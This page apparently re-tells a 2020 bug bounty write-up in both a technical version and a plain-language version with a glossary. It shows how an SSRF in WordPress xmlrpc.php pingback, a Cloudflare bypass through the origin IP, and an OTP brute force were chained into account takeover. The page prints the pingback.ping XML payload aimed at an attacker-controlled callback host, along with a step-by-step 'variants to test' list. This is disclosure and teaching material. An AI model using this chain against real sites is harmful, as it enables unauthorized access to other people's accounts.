Skip to content
Account takeover Write-up Intermediate

Tale of 3 vulnerabilities to account takeover!

The report describes a chain of three vulnerabilities: an SSRF via xmlrpc.php on a WordPress blog subdomain that revealed the origin server IP, bypassing Cloudflare rate limiting, and then brute-forcing OTP codes to take over a victim's account because server-side rate limiting was absent.

Avinash Jain Follow

Published on medium.com

So, after a gap of around 8 months, I recently did some bug hunting with the hope that I could learn something, and eventually, it also fetches me a decent reward. This blog will be around not only what vulnerabilities I was able to find but I would also be drilling into specific tools that helped me here.

Avinash Jain (@logicbomb), on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

The target was an e-commerce website, referred to throughout as redacted.com. To examine the authenticated pages, a user had to log in with an OTP (one-time password). The blog for the site lived on a separate WordPress subdomain, blog.redacted.com. The write-up chains three issues: an SSRF reached through WordPress xmlrpc.php on the blog, the origin server IP that SSRF revealed, and an OTP brute force that succeeded once Cloudflare was bypassed by talking to the origin directly.

Setup

The researcher came back to bug hunting after a gap of around 8 months. The tooling was standard recon and request manipulation:

  • Subdomain enumeration: aquatone, Sublist3r, subfinder and altdns.
  • A custom script that added each found subdomain to the Burp Suite scope and enabled spidering and passive scanning.
  • Burp Intruder for the OTP brute force.
  • Burp Collaborator (or request bin) to receive out-of-band responses for the SSRF.

The researcher notes that relying on multiple tools matters because each one misses edge cases. In parallel with enumeration, the application itself was mapped: its functionalities, pages and flows.

From the original on medium.com

Finding it

Rate limiting on the OTP login

With OTP-based login, the obvious first test is brute force. After a few attempts with Burp Intruder, the requests started being dropped: the server returned HTTP 429.

https://github.com/projectdiscovery/subfinder From the original on medium.com

Looking at the response, the CF-RAY header set by Cloudflare was present. The likely explanation is a Cloudflare rate-limiting rule blocking the brute force. That led to the next question: if Cloudflare could be bypassed, meaning the origin server could be reached directly, the rate limiting would be bypassed too.

From the original on medium.com

Hunting the origin IP

Several approaches to find the origin server were tried: digging into the certificate, checking Censys, and running open source tools such as crimeflare and CloudFlair. None of them produced the server IP. The goal was simple: obtain the origin server IP, and an SSRF vulnerability could do it.

The WordPress blog

While checking the enumerated subdomains, the researcher found a WordPress subdomain, the blog page at blog.redacted.com. That brought to mind the well-known xmlrpc.php attack surface. It was checked and, as anticipated, it was enabled.

From the original on medium.com

To find out whether the pingback.ping method was enabled, system.listMethods was used.

From the original on medium.com

The response confirmed it:

pingback.ping method allowed From the original on medium.com

Exploitation

Step 1: SSRF through xmlrpc.php pingback

The remaining part was making the SSRF request. Burp Collaborator was used to receive the server response; request bin is mentioned as an alternative. The POST body looked like this:

XML
<?xml version=”1.0″ encoding=”UTF-8″?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>[Burp collaborator link]</string></value></param><param><value><string>[Any valid blog post linl]</string></value></param></params></methodCall>

The request was fired:

From the original on medium.com

and the response arrived in the Burp Collaborator client, confirming the server-side request.

From the original on medium.com

Step 2: Bypass Cloudflare by reaching the origin

With the origin server IP in hand, the host in the OTP login request was replaced with that IP. This routes the request straight to the origin, past Cloudflare and therefore past its rate-limiting rule.

Step 3: Brute force the OTP

The victim's mobile number was put into the OTP login request, the OTP login request was made, the host was replaced with the IP, and Intruder was run. The hope was that no server-side rate limiting existed, and that proved to be true.

From the original on medium.com

The OTP was cracked. The whole chain ends on a 200 OK.

In the researcher's own one-liner: the rate limiting on OTP brute force was bypassed by bypassing Cloudflare and reaching the origin server IP, which was found via SSRF through an xmlrpc.php attack.

Root cause

Three weaknesses combined:

  1. xmlrpc.php on the WordPress blog had the pingback.ping method enabled, allowing the server to be instructed to make requests to an arbitrary URL. That is the SSRF primitive used to learn the origin IP.
  2. The origin server was reachable directly by IP, so Cloudflare's rate limiting could be skipped entirely by addressing the origin rather than the hostname.
  3. The OTP verification had no server-side rate limiting, so once Cloudflare was bypassed the brute force succeeded.

Impact

Under these conditions an attacker could take over a victim's account: with the victim's mobile number, the OTP login request could be brute forced once the Cloudflare rate limit was bypassed, and the correct OTP yielded a 200 OK. The researcher notes that with Cloudflare's firewall completely bypassed, many other things became possible, though the write-up does not enumerate them.

Fix

The report records that the bug was reported to the company on 11-Nov-2020, marked fixed on 12-Nov-2020, re-tested and confirmed fixed on 13-Nov-2020, and rewarded on 17-Nov-2020. The write-up does not state which specific change was made.

Variants to test

  • xmlrpc.php on WordPress subdomains. Call system.listMethods and look for pingback.ping in the response; a positive result means the SSRF primitive is available.
  • Pingback SSRF to an out-of-band listener. Send a pingback.ping call with a Collaborator or request bin URL as the first parameter and a valid post link as the second; a callback confirms server-side requests.
  • Origin IP discovery. Try certificate inspection, Censys, crimeflare and CloudFlair; a positive result is an IP that serves the same application when addressed directly.
  • OTP brute force against the origin IP. Replace the host with the discovered IP and run Intruder; a positive result is continued responses without 429s and eventually a 200 OK.
  • Rate-limit placement review. Check whether 429s carry Cloudflare headers such as CF-RAY; if they do, the limit may live only at the edge and not in the application.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

Imagine a shop with a security guard at the front door. The guard checks how often each visitor comes in, and if someone tries the door too many times in a row, the guard stops them. That guard is a service called Cloudflare, and it sits between the internet and the real shop building (the "origin server").

Now imagine the shop also has a small side door: a blog page running WordPress. That side door has a feature that lets one website tell another website "hey, I linked to you". An attacker can abuse that feature to make the blog server fetch any address the attacker chooses. That is called SSRF. Using it, the researcher made the blog server fetch an address he controlled, confirming the server-side request.

With that address in hand, the attacker no longer needs to walk past the guard at the front door. They can go straight to the building. And once there, the shop's own login system had no limit on how many times you could guess the one-time password (OTP) sent to a phone. So the attacker guessed the OTP over and over until it was right, and took over the victim's account.

Three weaknesses, chained: an SSRF on the blog, a directly reachable origin server, and no rate limiting on the OTP check. That is the whole story.

From the original on medium.com

The starting point: recon

Before attacking anything, you need to know what exists. The researcher came back to bug hunting after a gap of around 8 months and started with reconnaissance, usually shortened to "recon". Recon means gathering information about a target: which subdomains exist, which pages are there, what the application does.

A subdomain is a name that sits under a main domain. If the main site is redacted.com, then blog.redacted.com and shop.redacted.com are subdomains. Each one can be a different server, a different application, sometimes a different level of security.

The tools used for subdomain enumeration were:

On top of that, a custom script added every subdomain it found to the Burp Suite scope and turned on spidering and passive scanning. Burp Suite is a tool that sits between your browser and a website so you can see and change every request. Scope means "only look at these addresses". Spidering means automatically clicking through links to discover pages. Passive scanning means watching traffic for obvious issues without sending extra attacks.

The researcher notes that relying on multiple tools matters, because each one misses edge cases. In parallel, the application itself was mapped: its functionalities, pages and flows. In other words, while the tools hunted for names, the researcher was learning how the site worked as a user would.

https://github.com/projectdiscovery/subfinder From the original on medium.com

The first wall: rate limiting on the OTP login

The target was an e-commerce website, referred to throughout as redacted.com. To see the pages that only logged-in users can see, you had to log in with an OTP, a one-time password. An OTP is a short code, usually a few digits, sent to your phone or email. You type it in, and the server checks it. It is valid only once and only for a short time.

With OTP-based login, the obvious first test is brute force. Brute force means trying many guesses in a row, quickly, until one works. If the code is four digits, there are only ten thousand possible values, and a computer can try them all in seconds if nothing stops it.

After a few attempts with Burp Intruder, the requests started being dropped. Burp Intruder is the part of Burp Suite that sends the same request many times with one part changed each time, which is exactly what guessing a code looks like. The server returned HTTP 429.

HTTP status codes are short numbers a server sends back to say what happened. 200 means "fine, here is your answer". 404 means "not found". 429 means "too many requests, slow down". That last one is the server's way of saying a rate limit has kicked in. A rate limit is a rule like "no more than five tries per minute from one place".

From the original on medium.com

Looking at the response, the CF-RAY header set by Cloudflare was present. A header is a small piece of extra information attached to a request or a response, like a label on a parcel. CF-RAY is a label Cloudflare puts on everything it handles. Seeing it tells you Cloudflare is in the path.

Cloudflare is a company that sits in front of many websites. All visitors talk to Cloudflare first, and Cloudflare decides whether to pass the request on to the real server. It can block attacks, cache content, and apply rate limits. The likely explanation here is a Cloudflare rate-limiting rule blocking the brute force.

That led to the next question: if Cloudflare could be bypassed, meaning the origin server could be reached directly, the rate limiting would be bypassed too. The origin server is the actual machine that runs the website, the one behind Cloudflare. If you can talk to it directly, Cloudflare's rules never apply.

From the original on medium.com

Hunting the origin IP

Several approaches to find the origin server were tried:

  1. Digging into the certificate. A TLS certificate is what makes the padlock appear in your browser. Certificates sometimes mention the real server name or address.
  2. Checking Censys, a search engine for internet-connected machines. It scans the whole internet and records what it finds.
  3. Running open source tools such as crimeflare and CloudFlair. These tools try to match a site behind Cloudflare to an IP address that serves the same content.

None of them produced the server IP. An IP address is the numeric address of a machine on the internet, like a street address for a building. The goal was simple: obtain the origin server IP, and an SSRF vulnerability could do it.

SSRF stands for Server-Side Request Forgery. The everyday comparison: imagine you ask a receptionist to call a number for you. Normally the receptionist calls the number you give. But if the receptionist will call any number, including internal extensions you were never supposed to reach, you have just made a phone call through someone else. SSRF is the same idea: you trick a server into making a request on your behalf, to an address you choose. If that address is internal, the server can reach places you cannot.

The WordPress blog

While checking the enumerated subdomains, the researcher found a WordPress subdomain, the blog page at blog.redacted.com. WordPress is a very common software for running blogs and small sites. It has a long history of well-known attack surfaces, and one of the most famous is a file called xmlrpc.php.

xmlrpc.php is a feature of WordPress that lets other software talk to the blog using a format called XML-RPC. XML is a way of writing structured data with tags, a bit like HTML but for data rather than pages. RPC means "remote procedure call": one program asks another program to run a function. The file accepts requests over HTTP and runs the function named inside.

One of those functions is pingback.ping. A pingback is a notification: when one blog links to another, the linking blog can tell the linked blog "hey, I mentioned you". The linked blog then fetches the linking page to check the link really exists. That fetch is the dangerous part. If the blog will fetch any URL you give it, you have an SSRF.

It was checked and, as anticipated, it was enabled.

From the original on medium.com

To find out whether the pingback.ping method was enabled, system.listMethods was used. system.listMethods is a standard XML-RPC function that returns the list of all functions the server offers. It is like asking a restaurant "what is on the menu?". If pingback.ping appears on the menu, the SSRF primitive is available.

From the original on medium.com

The response confirmed it:

pingback.ping method allowed From the original on medium.com

Exploitation

Step 1: SSRF through xmlrpc.php pingback

The remaining part was making the SSRF request. Burp Collaborator was used to receive the server response; request bin is mentioned as an alternative. Burp Collaborator is a service that gives you a unique address you control, and it records any request that arrives there. It is like renting a mailbox and watching it: if a letter arrives, you know someone sent it. Request bin does the same job.

The POST body looked like this:

XML
<?xml version=”1.0″ encoding=”UTF-8″?><methodCall><methodName>pingback.ping</methodName><params><param><value><string>[Burp collaborator link]</string></value></param><param><value><string>[Any valid blog post linl]</string></value></param></params></methodCall>

Line by line, in plain words:

  • <?xml version=”1.0″ encoding=”UTF-8″?> says "this is an XML document, version 1.0, using UTF-8 characters". It is the standard opening line of an XML file.
  • <methodCall> opens the request. Everything inside is one call to a function.
  • <methodName>pingback.ping</methodName> names the function to run: pingback.ping.
  • <params> opens the list of arguments the function needs.
  • The first <param> contains <value><string>[Burp collaborator link]</string></value>. This is the URL the WordPress server is told to fetch. In the real attack, this was the researcher's Collaborator address.
  • The second <param> contains <value><string>[Any valid blog post linl]</string></value>. This is a valid blog post link, required by the pingback method. The pingback function expects two things: the page that supposedly linked to you, and the page on your own blog that was linked to.
  • The closing tags </params></methodCall> end the request.

The request was fired:

From the original on medium.com

and the response arrived in the Burp Collaborator client, confirming the server-side request.

From the original on medium.com

In other words: the blog server made a request to the researcher's mailbox. That proves the server will fetch addresses on command.

Step 2: Bypass Cloudflare by reaching the origin

With the origin server IP in hand, the host in the OTP login request was replaced with that IP. The host is the name part of a request, the redacted.com in https://redacted.com/login. When you type a name, your computer looks up the IP behind it and connects there. If you put the IP directly in the host, you skip the lookup and connect straight to the machine. This routes the request straight to the origin, past Cloudflare and therefore past its rate-limiting rule.

Step 3: Brute force the OTP

The victim's mobile number was put into the OTP login request, the OTP login request was made, the host was replaced with the IP, and Intruder was run. The hope was that no server-side rate limiting existed, and that proved to be true.

From the original on medium.com

The OTP was cracked. The whole chain ends on a 200 OK, the server's way of saying "correct, here is your answer".

In the researcher's own one-liner: the rate limiting on OTP brute force was bypassed by bypassing Cloudflare and reaching the origin server IP, which was found via SSRF through an xmlrpc.php attack.

Why it worked: root cause

Three weaknesses combined:

  1. xmlrpc.php on the WordPress blog had the pingback.ping method enabled, allowing the server to be instructed to make requests to an arbitrary URL. That is the SSRF primitive used to learn the origin IP.
  2. The origin server was reachable directly by IP, so Cloudflare's rate limiting could be skipped entirely by addressing the origin rather than the hostname.
  3. The OTP verification had no server-side rate limiting, so once Cloudflare was bypassed the brute force succeeded. A network-layer control is a rule enforced by the network in front of the app. An application control is a rule enforced by the app itself. If the network layer can be skipped, only the application control remains, and here there was none.

Impact

Under these conditions an attacker could take over a victim's account: with the victim's mobile number, the OTP login request could be brute forced once the Cloudflare rate limit was bypassed, and the correct OTP yielded a 200 OK. The researcher notes that with Cloudflare's firewall completely bypassed, many other things became possible, though the write-up does not enumerate them.

Fix

The report records that the bug was reported to the company on 11-Nov-2020, marked fixed on 12-Nov-2020, re-tested and confirmed fixed on 13-Nov-2020, and rewarded on 17-Nov-2020. The write-up does not state which specific change was made.

Variants to test

  • xmlrpc.php on WordPress subdomains. Call system.listMethods and look for pingback.ping in the response; a positive result means the SSRF primitive is available.
  • Pingback SSRF to an out-of-band listener. Send a pingback.ping call with a Collaborator or request bin URL as the first parameter and a valid post link as the second; a callback confirms server-side requests. "Out-of-band" means the reply does not come back in the normal response, it arrives somewhere else that you are watching.
  • Origin IP discovery. Try certificate inspection, Censys, crimeflare and CloudFlair; a positive result is an IP that serves the same application when addressed directly.
  • OTP brute force against the origin IP. Replace the host with the discovered IP and run Intruder; a positive result is continued responses without 429s and eventually a 200 OK.
  • Rate-limit placement review. Check whether 429s carry Cloudflare headers such as CF-RAY; if they do, the limit may live only at the edge and not in the application. "At the edge" means in the network in front of the app, not inside it.

Glossary

  • Recon: gathering information about a target before attacking, such as which subdomains and pages exist.
  • Subdomain: a name under a main domain, like blog.redacted.com under redacted.com.
  • Burp Suite: a tool that sits between your browser and a website so you can see and change requests.
  • Scope: the list of addresses a tool is allowed to look at.
  • Spidering: automatically following links to discover pages.
  • Passive scanning: watching traffic for obvious issues without sending extra attacks.
  • OTP (one-time password): a short code sent to your phone or email, valid once and for a short time.
  • Brute force: trying many guesses in a row until one works.
  • Burp Intruder: the part of Burp Suite that sends the same request many times with one part changed each time.
  • HTTP status code: a number a server sends back to say what happened, such as 200 for success or 429 for too many requests.
  • Rate limit: a rule limiting how many requests can be made in a period, such as five per minute.
  • Header: a small piece of extra information attached to a request or response.
  • Cloudflare: a service that sits in front of a website and filters, caches and rate-limits traffic before it reaches the real server.
  • Origin server: the actual machine that runs the website, behind Cloudflare.
  • TLS certificate: the data that makes the padlock appear in your browser; it can sometimes reveal server details.
  • Censys: a search engine for internet-connected machines.
  • IP address: the numeric address of a machine on the internet.
  • SSRF (Server-Side Request Forgery): tricking a server into making a request to an address you choose, often an internal one.
  • WordPress: common software for running blogs and small sites.
  • XML-RPC: a way for one program to ask another to run a function, using XML to carry the request.
  • XML: a way of writing structured data with tags.
  • xmlrpc.php: the WordPress file that accepts XML-RPC requests.
  • Pingback: a notification one blog sends to another when it links to it; the receiving blog fetches the linking page to check the link.
  • pingback.ping: the XML-RPC function that performs a pingback, and the one abused for SSRF here.
  • system.listMethods: an XML-RPC function that returns the list of functions a server offers.
  • Burp Collaborator: a service that gives you a unique address and records any request that arrives there.
  • Request bin: an alternative service that records requests sent to an address you control.
  • Host: the name part of a request, such as redacted.com in https://redacted.com/login.
  • Out-of-band: a reply that arrives somewhere other than the normal response, such as a Collaborator mailbox.
  • Network-layer control: a rule enforced by the network in front of an app, such as a Cloudflare rate limit.
  • Application control: a rule enforced by the app itself, such as a server-side limit on OTP attempts.
  • At the edge: in the network in front of the app, not inside it.

More by Avinash Jain

View all

29 more disclosed reports, best first.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.